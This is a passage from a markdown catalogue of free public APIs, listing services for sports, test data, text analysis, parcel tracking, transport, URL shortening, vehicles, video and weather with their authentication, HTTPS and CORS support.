\| [Ergast F1](http://ergast.com/mrd/) \| F1 data from the beginning of the world championships in 1950 \| No \| Yes \| Unknown \| \| [Fitbit](https://dev.fitbit.com/) \| Fitbit Information \| `OAuth` \| Yes \| Unknown \| \| [Football](https://rapidapi.com/GiulianoCrescimbeni/api/football98/) \| A simple Open Source Football API to get squads’ stats, best scorers and more \| `X-Mashape-Key` \| Yes \| Unknown \| \| [Football Highlights](https://highlightly.net/documentation/football/) \| Real time football (soccer) highlights from over +950 leagues \| `apiKey` \| Yes \| Unknown \| \| [Football (Soccer) Videos](https://www.scorebat.com/video-api/) \| Embed codes for goals and highlights from Premier League, Bundesliga, Serie A and many more \| No \| Yes \| Yes \| \| [Football Standings](https://github.com/azharimm/football-standings-api) \| Display football standings e.g epl, la liga, serie a etc. The data is based on espn site \| No \| Yes \| Yes \| \| [Football-Data](https://www.football-data.org) \| Football data with matches info, players, teams, and competitions \| `X-Mashape-Key` \| Yes \| Unknown \| \| [Hockey Highlights](https://highlightly.net/documentation/hockey/) \| Real time hockey highlights \| `apiKey` \| Yes \| Unknown \| \| [JCDecaux Bike](https://developer.jcdecaux.com/) \| JCDecaux's self-service bicycles \| `apiKey`\| Yes \| Unknown \| \| [MLB Records and Stats](https://appac.github.io/mlb-data-api-docs/) \| Current and historical MLB statistics \| No \| No \| Unknown \| \| [NBA Data](https://rapidapi.com/api-sports/api/api-nba/) \| All NBA Stats DATA, Games, Livescore, Standings, Statistics \| `apiKey`\| Yes \| Unknown \| \| [NBA GraphQL](https://nbaapi.com/graphql/) \| Advanced NBA Player, Team, and Season Statistics and Data \| No \| Yes \| Yes \| \| [NBA Stats](https://any-api.com/nba_com/nba_com/docs/API_Description) \| Current and historical NBA Statistics \| No \| Yes \| Unknown \| \| [NBA Stats](https://documenter.getpostman.com/view/24232555/2s93shzpR3) \| NBA player statistics and data \| No \| Yes \| Yes \| \| [NHL Records and Stats](https://gitlab.com/dword4/nhlapi) \| NHL historical data and statistics \| No \| Yes \| Unknown \| \| [Oddsmagnet](https://data.oddsmagnet.com) \| Odds history from multiple UK bookmakers \| No \| Yes \| Yes \| \| [OpenLigaDB](https://www.openligadb.de) \| Crowd sourced sports league results \| No \| Yes \| Yes \| \| [Premier League Standings ](https://rapidapi.com/heisenbug/api/premier-league-live-scores/) \| All Current Premier League Standings and Statistics \| `apiKey`\| Yes \| Unknown \| \| [Sport Data](https://sportdataapi.com) \| Get sports data from all over the world \| `apiKey`\| Yes \| Unknown \| \| [Sport Highlights](https://highlightly.net/documentation/sports/) \| Real time Sport Highlights \| `apiKey`\| Yes \| Unknown \| \| [Sportmonks Cricket](https://docs.sportmonks.com/cricket/) \| Live cricket score, player statistics and fantasy API \| `apiKey`\| Yes \| Unknown \| \| [Sportmonks Football](https://docs.sportmonks.com/football/) \| Football score/schedule, news api, tv channels, stats, history, display standing e.g. epl, la liga \| `apiKey`\| Yes \| Unknown \| \| [Squiggle](https://api.squiggle.com.au) \| Fixtures, results and predictions for Australian Football League matches \| No \| Yes \| Yes \| \| [Strava](https://strava.github.io/api/) \| Connect with athletes, activities and more \| `OAuth` \| Yes \| Unknown \| \| [SuredBits](https://suredbits.com/api/) \| Query sports data, including teams, players, games, scores and statistics \| No \| No \| No \| \| [TheSportsDB](https://www.thesportsdb.com/api.php) \| Crowd-Sourced Sports Data and Artwork \| `apiKey`\| Yes \| Yes \| \| [Tredict](https://www.tredict.com/blog/oauth_docs/) \| Get and set activities, health data and more \| `OAuth` \| Yes \| Unknown \| \| [Wger](https://wger.de/en/software/api) \| Workout manager data as exercises, muscles or equipment \| `apiKey`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Test Data \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Bacon Ipsum](https://baconipsum.com/json-api/) \| A Meatier Lorem Ipsum Generator \| No \| Yes \| Unknown \| \| [Dicebear Avatars](https://avatars.dicebear.com/) \| Generate random pixel-art avatars \| No \| Yes \| No \| \| [DummyJSON](https://dummyjson.com/) \| Generate dummy data in JSON format \| Yes \| Yes \| Unknown \| \| [Faker](https://fakerjs.dev/) \| Generate massive amounts of fake (but realistic) data for testing and development. \| No \| Yes \| Unknown \| \| [FakerAPI](https://fakerapi.it/en) \| APIs collection to get fake data \| No \| Yes \| Yes \| \| [FakeStoreAPI](https://fakestoreapi.com/) \| Fake store rest API for your e-commerce or shopping website prototype \| No \| Yes \| Unknown \| \| [GeneradorDNI](https://api.generadordni.es) \| Data generator API. Profiles, vehicles, banks and cards, etc \| `apiKey` \| Yes \| Unknown \| \| [ItsThisForThat](https://itsthisforthat.com/api.php) \| Generate Random startup ideas \| No \| Yes \| No \| \| [JSONPlaceholder](http://jsonplaceholder.typicode.com/) \| Fake data for testing and prototyping \| No \| No \| Unknown \| \| [Loripsum](http://loripsum.net/) \| The "lorem ipsum" generator that doesn't suck \| No \| No \| Unknown \| \| [Mailsac](https://mailsac.com/docs/api) \| Disposable Email \| `apiKey` \| Yes \| Unknown \| \| [Metaphorsum](http://metaphorpsum.com/) \| Generate demo paragraphs giving number of words and sentences \| No \| No \| Unknown \| \| [Mockaroo](https://www.mockaroo.com/docs) \| Generate fake data to JSON, CSV, TXT, SQL and XML \| `apiKey` \| Yes \| Unknown \| \| [QuickMocker](https://quickmocker.com) \| API mocking tool to generate contextual, fake or random data \| No \| Yes \| Yes \| \| [Random Data](https://random-data-api.com) \| Random data generator \| No \| Yes \| Unknown \| \| [Random Identity](https://rapidapi.com/edualc1018/api/random-identity-generator) \| Random Identity Generator with custom response format \| `apiKey` \| Yes \| Yes \| \| [Randommer](https://randommer.io/randommer-api) \| Random data generator \| `apiKey` \| Yes \| Yes \| \| [RandomUser](https://randomuser.me) \| Generates and list user data \| No \| Yes \| Unknown \| \| [RoboHash](https://robohash.org/) \| Generate random robot/alien avatars \| No \| Yes \| Unknown \| \| [This Person Does not Exist](https://thispersondoesnotexist.com) \| Generates real-life faces of people who do not exist \| No \| Yes \| Unknown \| \| [UUID Generator](https://www.uuidtools.com/docs) \| Generate UUIDs \| No \| Yes \| No \| \| [What The Commit](http://whatthecommit.com/index.txt) \| Random commit message generator \| No \| No \| Yes \| \| [Yes No](https://yesno.wtf/api) \| Generate yes or no randomly \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Text Analysis \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Aylien Text Analysis](https://docs.aylien.com/textapi/#getting-started) \| A collection of information retrieval and natural language APIs \| `apiKey` \| Yes \| Unknown \| \| [Chatpdf](https://chatpdf.so/api) \| Chat with pdf using GPT4 and ChatGPT \| `apiKey` \| Yes \| Yes \| \| [Cloudmersive Natural Language Processing](https://www.cloudmersive.com/nlp-api) \| Natural language processing and text analysis \| `apiKey` \| Yes \| Yes \| \| [Code Detection API](https://codedetectionapi.runtime.dev) \| Detect, label, format and enrich the code in your app or in your data pipeline \| `OAuth`\| Yes \| Unknown \| \| [Detect Language](https://detectlanguage.com/) \| Detects text language \| `apiKey` \| Yes \| Unknown \| \| [ELI](https://nlp.insightera.co.th/docs/v1.0) \| Natural Language Processing Tools for Thai Language \| `apiKey` \| Yes \| Unknown \| \| [Google Cloud Natural](https://cloud.google.com/natural-language/docs/) \| Natural language understanding technology, including sentiment, entity and syntax analysis \| `apiKey` \| Yes \| Unknown \| \| [LanguageTool](https://languagetool.org/http-api/) \| Style and Grammar Checker for 25+ Languages \| No \| Yes \| Unknown \| \| [Lecto Translation](https://rapidapi.com/lecto-lecto-default/api/lecto-translation/) \| Translation API with free tier and reasonable prices \| `apiKey` \| Yes \| Yes \| \| [LibreTranslate](https://libretranslate.com/docs) \| Translation tool with 17 available languages \| No \| Yes \| Unknown \| \| [Semantria](https://semantria.readme.io/docs) \| Text Analytics with sentiment analysis, categorization & named entity extraction \| `OAuth`\| Yes \| Unknown \| \| [Sentiment Analysis](https://www.meaningcloud.com/developer/sentiment-analysis) \| Multilingual sentiment analysis of texts from different sources \| `apiKey` \| Yes \| Yes \| \| [Tisane](https://tisane.ai/) \| Text Analytics with focus on detection of abusive content and law enforcement applications \| `OAuth`\| Yes \| Yes \| \| [Watson Natural Language Understanding](https://cloud.ibm.com/apidocs/natural-language-understanding/natural-language-understanding) \| Natural language processing for advanced text analysis \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Tracking \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Aftership](https://developers.aftership.com/reference/quick-start) \| API to update, manage and track shipment efficiently \| `apiKey`\| Yes \| Yes \| \| [Correios](https://cws.correios.com.br/ajuda) \| Integration to provide information and prepare shipments using Correio's services \| `apiKey`\| Yes \| Unknown \| \| [IndianPincodes](https://www.indianpincodes.co.in) \| API for getting Pincode details in India \| `apiKey` \| Yes \| Unknown \| \| [Pixela](https://pixe.la) \| API for recording and tracking habits or effort, routines \| `X-Mashape-Key` \| Yes \| Yes \| \| [PostalPinCode](http://www.postalpincode.in/Api-Details) \| API for getting Pincode details in India \| No \| Yes \| Unknown \| \| [Postmon](http://postmon.com.br) \| An API to query Brazilian ZIP codes and orders easily, quickly and free \| No \| No \| Unknown \| \| [PostNord](https://developer.postnord.com/apis) \| Provides information about parcels in transport for Sweden and Denmark \| `apiKey`\| No \| Unknown \| \| [UPS](https://www.ups.com/upsdeveloperkit) \| Shipment and Address information \| `apiKey`\| Yes \| Unknown \| \| [WeCanTrack](https://docs.wecantrack.com) \| Automatically place subids in affiliate links to attribute affiliate conversions to click data \| `apiKey`\| Yes \| Yes \| \| [WhatPulse](https://developer.whatpulse.org/#web-api) \| Small application that measures your keyboard/mouse usage \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Transportation \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [adsbdb](https://www.adsbdb.com) \| Open access to aircraft, airline, and flight route data \| No \| Yes \| Yes \| \| [ADS-B Exchange](https://www.adsbexchange.com/data/) \| Access real-time and historical data of any and all airborne aircraft \| `apiKey` \| Yes \| Unknown \| \| [airportsapi](https://airport-web.appspot.com/api/docs/) \| Get name and website-URL for airports by ICAO code \| No \| Yes \| Unknown \| \| [AIS Hub](http://www.aishub.net/api) \| Real-time data of any marine and inland vessel equipped with AIS tracking system \| `apiKey` \| No \| Unknown \| \| [Amadeus for Developers](https://developers.amadeus.com/self-service) \| Travel Search - Limited usage \| `OAuth`\| Yes \| Unknown \| \| [AviationAPI](https://docs.aviationapi.com) \| FAA Aeronautical Charts and Publications, Airport Information, and Airport Weather \| No \| Yes \| No \| \| [AZ511](https://www.az511.com/developers/doc) \| Access traffic data from the ADOT API \| `apiKey` \| Yes \| Unknown \| \| [Bay Area Rapid Transit](http://api.bart.gov) \| Stations and predicted arrivals for BART \| `apiKey` \| No \| Unknown \| \| [BC Ferries](https://www.bcferriesapi.ca) \| Sailing times and capacities for BC Ferries \| No \| Yes \| Yes \| \| [BIC-Boxtech](https://docs.bic-boxtech.org/) \| Container technical detail for the global container fleet \| `OAuth`\| Yes \| Unknown \| \| [BlaBlaCar](https://dev.blablacar.com) \| Search car sharing trips \| `apiKey` \| Yes \| Unknown \| \| [Boston MBTA Transit](https://www.mbta.com/developers/v3-api) \| Stations and predicted arrivals for MBTA \| `apiKey` \| Yes \| Unknown \| \| [Community Transit](https://github.com/transitland/transitland-datastore/blob/master/README.md#api-endpoints) \| Transitland API \| No \| Yes \| Unknown \| \| [CTS](https://api.cts-strasbourg.eu/) \| CTS Realtime API \| `apiKey` \| Yes \| Yes \| \| [facha](https://docs.api.facha.dev/) \| Aircraft Tracking, AIS Ship Tracking, Temporary Email Detection, IP GeoLocation, Package Tracking \| No \| Yes \| Unknown \| \| [Flight Fare Search](https://rapidapi.com/farish978/api/flight-fare-search) \| Search for realtime flight fares across destinations \| `apiKey` \| Yes \| Yes \| \| [Fuel Prices at Spanish Gas Stations](https://datos.gob.es/en/apidata) \| Provides information about fuel prices at gas stations in Spain \| No \| Yes \| No \| \| [Grab](https://developer.grab.com/docs/) \| Track deliveries, ride fares, payments and loyalty points \| `OAuth`\| Yes \| Unknown \| \| [GraphHopper](https://docs.graphhopper.com/) \| A-to-B routing with turn-by-turn instructions \| `apiKey` \| Yes \| Unknown \| \| [Icelandic APIs](http://docs.apis.is/) \| Open APIs that deliver services in or regarding Iceland \| No \| Yes \| Unknown \| \| [Impala Hotel Bookings](https://docs.impala.travel/docs/booking-api/) \| Hotel content, rates and room bookings \| `apiKey` \| Yes \| No \| \| [Izi](http://api-docs.izi.travel/) \| Audio guide for travellers \| `apiKey` \| Yes \| Unknown \| \| [Konkan Railway Live Train Position](https://konkan-railway-api.vercel.app/) \| Realtime data for trains on India's Konkan Railway \| No \| Yes \| Yes \| \| [Land Transport Authority DataMall, Singapore](https://datamall.lta.gov.sg/content/dam/datamall/datasets/LTA_DataMall_API_User_Guide.pdf) \| Singapore transport information \| `apiKey` \| No \| Unknown \| \| [Metro Lisboa](http://app.metrolisboa.pt/status/getLinhas.php) \| Delays in subway lines \| No \| No \| No \| \| [Navitia](https://doc.navitia.io/) \| The open API for building cool stuff with transport data \| `apiKey` \| Yes \| Unknown \| \| [Open Charge Map](https://openchargemap.org/site/develop/api) \| Global public registry of electric vehicle charging locations \| `apiKey` \| Yes \| Yes \| \| [OpenSky Network](https://opensky-network.org/apidoc/index.html) \| Free real-time ADS-B aviation data \| No \| Yes \| Unknown \| \| [Railway Transport for France](https://www.digital.sncf.com/startup/api) \| SNCF public API \| `apiKey` \| Yes \| Unknown \| \| [REFUGE Restrooms](https://www.refugerestrooms.org/api/docs/#!/restrooms) \| Provides safe restroom access for transgender, intersex and gender nonconforming individuals \| No \| Yes \| Unknown \| \| [Sabre for Developers](https://developer.sabre.com/guides/travel-agency/quickstart/getting-started-in-travel) \| Travel Search - Limited usage \| `apiKey` \| Yes \| Unknown \| \| [Schiphol Airport](https://developer.schiphol.nl/) \| Schiphol \| `apiKey` \| Yes \| Unknown \| \| [Swedavia Airports](https://apideveloper.swedavia.se/) \| Airport and flight information of Swedish Airports operated by Swedavia \| `apiKey` \| Yes \| No \| \| [Tankerkoenig](https://creativecommons.tankerkoenig.de/swagger/) \| German realtime gas/diesel prices \| `apiKey` \| Yes \| Yes \| \| [TransitLand](https://www.transit.land/documentation/datastore/api-endpoints.html) \| Transit Aggregation \| No \| Yes \| Unknown \| \| [Transport for Atlanta, US](http://www.itsmarta.com/app-developer-resources.aspx) \| Marta \| No \| No \| Unknown \| \| [Transport for Auckland, New Zealand](https://dev-portal.at.govt.nz/) \| Auckland Transport \| No \| Yes \| Unknown \| \| [Transport for Belgium](https://docs.irail.be/) \| The iRail API is a third-party API for Belgian public transport by train \| No \| Yes \| Yes \| \| [Transport for Berlin, Germany](https://github.com/derhuerst/vbb-rest/blob/5/docs/api.md) \| Third-party VBB API \| No \| Yes \| Unknown \| \| [Transport for Bordeaux, France](https://opendata.bordeaux-metropole.fr/explore/) \| Bordeaux Métropole public transport and more (France) \| `apiKey` \| Yes \| Unknown \| \| [Transport for Budapest, Hungary](https://bkkfutar.docs.apiary.io) \| Budapest public transport API \| No \| Yes \| Unknown \| \| [Transport for Chicago, US](http://www.transitchicago.com/developers/) \| Chicago Transit Authority (CTA) \| `apiKey` \| No \| Unknown \| \| [Transport for Czech Republic](https://www.chaps.cz/eng/products/idos-internet) \| Czech transport API \| No \| Yes \| Unknown \| \| [Transport for Denver, US](http://www.rtd-denver.com/gtfs-developer-guide.shtml) \| RTD \| No \| No \| Unknown \| \| [Transport for Finland](https://digitransit.fi/en/developers/) \| Finnish transport API \| `apiKey` \| Yes \| Unknown \| \| [Transport for Germany](http://data.deutschebahn.com/dataset/api-fahrplan.html) \| Deutsche Bahn (DB) API \| `apiKey` \| No \| Unknown \| \| [Transport for Grenoble, France](https://www.mobilites-m.fr/pages/opendata/OpenDataApi.html) \| Grenoble public transport \| No \| No \| No \| \| [Transport for Hessen, Germany](https://opendata.rmv.de/site/start.html) \| RMV API (Public Transport in Hessen) \| No \| Yes \| Unknown \| \| [Transport for Honolulu, US](http://hea.thebus.org/api_info.asp) \| Honolulu Transportation Information \| `apiKey` \| No \| Unknown \| \| [Transport for Lisbon, Portugal](https://emel.city-platform.com/opendata/) \| Data about buses routes, parking and traffic \| `apiKey` \| Yes \| Unknown \| \| [Transport for London, England](https://api.tfl.gov.uk) \| TfL API \| `apiKey` \| Yes \| Unknown \| \| [Transport for Los Angeles, US](https://developer.metro.net/api/) \| Data about positions of Metro vehicles in real time and travel their routes \| No \| Yes \| Unknown \| \| [Transport for Manchester, England](https://developer.tfgm.com/) \| TfGM transport network data \| `apiKey` \| Yes \| No \| \| [Transport for Norway](https://developer.entur.org/) \| Transport APIs and dataset for Norway \| No \| Yes \| Unknown \| \| [Transport for Ottawa, Canada](https://www.octranspo.com/en/plan-your-trip/travel-tools/developers) \| OC Transpo API \| `apiKey` \| Yes \| Unknown \| \| [Transport for Paris, France](http://data.ratp.fr/api/v1/console/datasets/1.0/search/) \| RATP Open Data API \| No \| No \| Unknown \| \| [Transport for Philadelphia, US](http://www3.septa.org/hackathon/) \| SEPTA APIs \| No \| No \| Unknown \| \| [Transport for Sao Paulo, Brazil](http://www.sptrans.com.br/desenvolvedores/api-do-olho-vivo-guia-de-referencia/documentacao-api/) \| SPTrans \| `OAuth`\| No \| Unknown \| \| [Transport for Spain](https://data.renfe.com/api/1/util/snippet/api_info.html?resource_id=a2368cff-1562-4dde-8466-9635ea3a572a) \| Public trains of Spain \| No \| Yes \| Unknown \| \| [Transport for Sweden](https://www.trafiklab.se/api) \| Public Transport consumer \| `OAuth`\| Yes \| Unknown \| \| [Transport for Switzerland](https://opentransportdata.swiss/en/) \| Official Swiss Public Transport Open Data \| `apiKey` \| Yes \| Unknown \| \| [Transport for Switzerland](https://transport.opendata.ch/) \| Swiss public transport API \| No \| Yes \| Unknown \| \| [Transport for The Netherlands](http://www.ns.nl/reisinformatie/ns-api) \| NS, only trains \| `apiKey` \| No \| Unknown \| \| [Transport for The Netherlands](https://github.com/skywave/KV78Turbo-OVAPI/wiki) \| OVAPI, country-wide public transport \| No \| Yes \| Unknown \| \| [Transport for Toronto, Canada](https://myttc.ca/developers) \| TTC \| No \| Yes \| Unknown \| \| [Transport for UK](https://developer.transportapi.com) \| Transport API and dataset for UK \| `apiKey` \| Yes \| Unknown \| \| [Transport for United States](https://retro.umoiq.com/xmlFeedDocs/NextBusXMLFeed.pdf) \| NextBus API \| No \| No \| Unknown \| \| [Transport for Vancouver, Canada](https://developer.translink.ca/) \| TransLink \| `OAuth`\| Yes \| Unknown \| \| [Transport for Washington, US](https://developer.wmata.com/) \| Washington Metro transport API \| `OAuth`\| Yes \| Unknown \| \| [transport.rest](https://transport.rest) \| Community maintained, developer-friendly public transport API \| No \| Yes \| Yes \| \| [Tripadvisor](https://developer-tripadvisor.com/home/) \| Rating content for a hotel, restaurant, attraction or destination \| `apiKey` \| Yes \| Unknown \| \| [Uber](https://developer.uber.com/products) \| Uber ride requests and price estimation \| `OAuth`\| Yes \| Yes \| \| [Velib metropolis, Paris, France](https://www.velib-metropole.fr/donnees-open-data-gbfs-du-service-velib-metropole) \| Velib Open Data API \| No \| Yes \| No \| [⬆ Back to Index](#index) ### URL Shorteners \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [1pt](https://github.com/1pt-co/api/blob/main/README.md) \| A simple URL shortener \| No \| Yes \| Yes \| \| [Bitly](http://dev.bitly.com/get_started.html) \| URL shortener and link management \| `OAuth`\| Yes \| Unknown \| \| [CleanURI](https://cleanuri.com/docs) \| URL shortener service \| No \| Yes \| Yes \| \| [ClickMeter](https://support.clickmeter.com/hc/en-us/categories/201474986) \| Monitor, compare and optimize your marketing links \| `apiKey` \| Yes \| Unknown \| \| [Clico](https://cli.com/swagger-ui/index.html?configUrl=/v3/api-docs/swagger-config) \| URL shortener service \| `apiKey` \| Yes \| Unknown \| \| [Cutt.ly](https://cutt.ly/api-documentation/cuttly-links-api) \| URL shortener service \| `apiKey` \| Yes \| Unknown \| \| [Drivet URL Shortener](https://wiki.drivet.xyz/en/url-shortener/add-links) \| Shorten a long URL easily and fast \| No \| Yes \| Unknown \| \| [Free Url Shortener](https://ulvis.net/developer.html) \| Free URL Shortener offers a powerful API to interact with other sites \| No \| Yes \| Unknown \| \| [GoTiny](https://github.com/robvanbakel/gotiny-api) \| A lightweight URL shortener, focused on ease-of-use for the developer and end-user \| No \| Yes \| Yes \| \| [Kutt](https://docs.kutt.it/) \| Free Modern URL Shortener \| `apiKey` \| Yes \| Yes \| \| [Manyapis.com](https://manyapis.com/products/short-url) \| Free URL shortener API with up to 50 requests per day \| Yes \| Yes \| Yes \| \| [Mgnet.me](http://mgnet.me/api.html) \| Torrent URL shorten API \| No \| Yes \| No \| \| [owo](https://owo.vc/api.html) \| A simple link obfuscator/shortener \| No \| Yes \| Unknown \| \| [Rebrandly](https://developers.rebrandly.com/v1/docs) \| Custom URL shortener for sharing branded links \| `apiKey` \| Yes \| Unknown \| \| [Shrtcode](https://shrtco.de/docs) \| URl Shortener with multiple Domains \| No \| Yes \| Yes \| \| [Shrtlnk](https://shrtlnk.dev/developer) \| Simple and efficient short link creation \| `apiKey` \| Yes \| Yes \| \| [Spoo.me](https://spoo.me/api) \| Free URL shortener with custom alias, max-clicks, password protection and advanced analytics support \| No \| Yes \| Yes \| \| [TinyURL](https://tinyurl.com/app/dev) \| Shorten long URLs \| `apiKey` \| Yes \| No \| \| [url.dev](https://autocode.com/url/api/temporary/0.3.0/create) \| Create short, temporary, self-destructing links that expire anywhere from a minute to a week. \| No \| Yes \| Unknown \| [Urlmskr](https://github.com/Axorax/urlmskr#urlmskr-api) \| Easy and fast masked, shortened link creation \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Vehicle \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Brazilian Vehicles and Prices](https://deividfortuna.github.io/fipe/) \| Vehicles information from Fundação Instituto de Pesquisas Econômicas - Fipe \| No \| Yes \| No \| \| [Helipaddy sites](https://helipaddy.com/api/) \| Helicopter and passenger drone landing site directory, Helipaddy data and much more \| `apiKey` \| Yes \| Unknown \| \| [Kelley Blue Book](http://developer.kbb.com/#!/data/1-Default) \| Vehicle info, pricing, configuration, plus much more \| `apiKey` \| Yes \| No \| \| [Mercedes-Benz](https://developer.mercedes-benz.com/apis) \| Telematics data, remotely access vehicle functions, car configurator, locate service dealers \| `apiKey` \| Yes \| No \| \| [NHTSA](https://vpic.nhtsa.dot.gov/api/) \| NHTSA Product Information Catalog and Vehicle Listing \| No \| Yes \| Unknown \| \| [Smartcar](https://smartcar.com/docs/) \| Lock and unlock vehicles and get data like odometer reading and location. Works on most new cars \| `OAuth`\| Yes \| Yes \| [⬆ Back to Index](#index) ### Video \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [An API of Ice And Fire](https://anapioficeandfire.com/) \| Game Of Thrones API \| No \| Yes \| Unknown \| \| [Bob's Burgers API](https://bobsburgersapi.com/) \| The Bob's Burgers API contains data for hundreds of characters, episodes, running gags, and images from the show \| No \| Yes \| Yes \| \| [Breaking Bad Quotes](https://github.com/shevabam/breaking-bad-quotes) \| Some Breaking Bad quotes \| No \| Yes \| Unknown \| \| [Buffy the Vampire Slayer and Angel](https://github.com/Thatskat/btvs-angel-api) \| Get episode, cast and crew data from Buffy the Vampire Slayer and Angel \| No \| Yes \| Yes \| \| [Catalogopolis](https://api.catalogopolis.xyz/docs/) \| Doctor Who API \| No \| Yes \| Unknown \| \| [Czech Television](http://www.ceskatelevize.cz/xml/tv-program/) \| TV programme of Czech TV \| No \| No \| Unknown \| \| [Dailymotion](https://developer.dailymotion.com/) \| Dailymotion Developer API \| `OAuth`\| Yes \| Unknown \| \| [Dune](https://github.com/ywalia01/dune-api) \| A simple API which provides you with book, character, movie and quotes JSON data \| No \| Yes \| Yes \| \| [Final Space](https://finalspaceapi.com/docs/) \| Final Space API \| No \| Yes \| Yes \| \| [Game of Thrones Quotes](https://gameofthronesquotes.xyz/) \| Some Game of Thrones quotes \| No \| Yes \| Unknown \| \| [Gcore Streaming](https://docs.gcore.com/streaming) \| Scale to 100+ million viewers and beyond. Stream everything from online games to online events reliably in minutes instead of months. \| `apiKey` \| Yes \| Yes \| \| [Harry Potter Characters](https://hp-api.onrender.com/) \| Harry Potter Characters Data with with imagery \| No \| Yes \| Unknown \| \| [IMDb-API](https://imdb-api.com/) \| API for receiving movie, serial and cast information \| `apiKey` \| Yes \| Unknown \| \| [IMDbOT](https://github.com/SpEcHiDe/IMDbOT) \| Unofficial IMDb Movie / Series Information \| No \| Yes \| Yes \| \| [JSON2Video](https://json2video.com) \| Create and edit videos programmatically: watermarks,resizing,slideshows,voice-over,text animations \| `apiKey` \| Yes \| No \| \| [Lucifer Quotes](https://github.com/shadowoff09/lucifer-quotes) \| Returns Lucifer quotes \| No \| Yes \| Unknown \| \| [MCU Countdown](https://github.com/DiljotSG/MCU-Countdown) \| A Countdown to the next MCU Film \| No \| Yes \| Yes \| \| [Movie Quote](https://github.com/F4R4N/movie-quote/) \| Random Movie and Series Quotes \| No \| Yes \| Yes \| \| [Mux](https://www.mux.com/) \| Mux Video is an API that enables developers to build unique live and on-demand video experiences \| `apiKey` \| Yes \| Unknown \| \| [Open Movie Database](http://www.omdbapi.com/) \| Movie information \| `apiKey` \| Yes \| Unknown \| \| [Ron Swanson Quotes](https://github.com/jamesseanwright/ron-swanson-quotes#ron-swanson-quotes-api) \| Television \| No \| Yes \| Unknown \| \| [Shotstack](https://shotstack.io/) \| Cloud-based video editing API \| `apiKey` \| Yes \| Unknown \| \| [Simkl](https://simkl.docs.apiary.io) \| Movie, TV and Anime data \| `apiKey` \| Yes \| Unknown \| \| [South Park Quotes](https://github.com/Thatskat/southpark-quotes-api) \| Get some quotes from South Park, mmkay! \| No \| Yes \| Unknown \| \| [STAPI](https://stapi.co) \| Information on all things Star Trek \| No \| Yes \| Yes \| \| [Stranger Things Quotes](https://github.com/shadowoff09/strangerthings-quotes) \| Returns Stranger Things quotes \| No \| Yes \| Unknown \| \| [Stream](https://api.stream.cz/graphiql) \| Czech internet television, films, series and online videos for free \| No \| Yes \| No \| \| [Stromberg Quotes](https://www.stromberg-api.de/) \| Returns Stromberg quotes and more \| No \| Yes \| Unknown \| \| [Supernatural Quotes](https://lidiakovac.github.io/supernatural-api) \| 100+ Supernatural quotes \| No \| Yes \| Unknown \| \| [SWAPI](https://swapi.dev/) \| All the Star Wars data you've ever wanted \| No \| Yes \| Yes \| \| [SWAPI](https://www.swapi.tech) \| All things Star Wars \| No \| Yes \| Yes \| \| [SWAPI GraphQL](https://graphql.org/swapi-graphql) \| Star Wars GraphQL API \| No \| Yes \| Unknown \| \| [The Lord of the Rings](https://the-one-api.dev/) \| The Lord of the Rings API \| `apiKey` \| Yes \| Unknown \| \| [The Vampire Diaries](https://vampire-diaries-api.netlify.app/) \| TV Show Data \| `apiKey` \| Yes \| Yes \| \| [ThronesApi](https://thronesapi.com/) \| Game Of Thrones Characters Data with imagery \| No \| Yes \| Unknown \| \| [TMDb](https://www.themoviedb.org/documentation/api) \| Community-based movie data \| `apiKey` \| Yes \| Unknown \| \| [TrailerAddict](https://www.traileraddict.com/trailerapi) \| Easily embed trailers from TrailerAddict \| `apiKey` \| No \| Unknown \| \| [Trakt](https://trakt.docs.apiary.io/) \| Movie and TV Data \| `apiKey` \| Yes \| Yes \| \| [TVDB](https://thetvdb.com/api-information) \| Television data \| `apiKey` \| Yes \| Unknown \| \| [TVMaze](http://www.tvmaze.com/api) \| TV Show Data \| No \| No \| Unknown \| \| [uNoGS](https://rapidapi.com/unogs/api/unogsng) \| Unofficial Netflix Online Global Search, Search all netflix regions in one place \| `apiKey` \| Yes \| Yes \| \| [Vimeo](https://developer.vimeo.com/) \| Vimeo Developer API \| `OAuth`\| Yes \| Unknown \| \| [Watchmode](https://api.watchmode.com/) \| API for finding out the streaming availability of movies & shows \| `apiKey` \| Yes \| Unknown \| \| [Web Series Quotes Generator](https://github.com/yogeshwaran01/web-series-quotes) \| API generates various Web Series Quote Images \| No \| Yes \| Yes \| \| [YouTube](https://developers.google.com/youtube/) \| Add YouTube functionality to your sites and apps \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Weather \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [7Timer!](http://www.7timer.info/doc.php?lang=en) \| Weather, especially for Astroweather \| No \| No \| Unknown \| \| [AccuWeather](https://developer.accuweather.com/apis) \| Weather and forecast data \| `apiKey` \| No \| Unknown \| \| [Aemet](https://opendata.aemet.es/centrodedescargas/inicio) \| Weather and forecast data from Spain \| `apiKey` \| Yes \| Unknown \| \| [APIXU](https://www.apixu.com/doc/request.aspx) \| Weather \| `apiKey` \| Yes \| Unknown \| \| [AQICN](https://aqicn.org/api/) \| Air Quality Index Data for over 1000 cities \| `apiKey` \| Yes \| Unknown \| \| [AviationWeather](https://www.aviationweather.gov/dataserver) \| NOAA aviation weather forecasts and observations \| No \| Yes \| Unknown \| \| [ColorfulClouds](https://open.caiyunapp.com/ColorfulClouds_Weather_API) \| Weather \| `apiKey` \| Yes \| Yes \| \| [Euskalmet](https://opendata.euskadi.eus/api-euskalmet/-/api-de-euskalmet/) \| Meteorological data of the Basque Country \| `apiKey` \| Yes \| Unknown \| \| [Foreca](https://developer.foreca.com) \| Weather \| `OAuth`\| Yes \| Unknown \| \| [HG Weather](https://hgbrasil.com/status/weather) \| Provides weather forecast data for cities in Brazil \| `apiKey` \| Yes 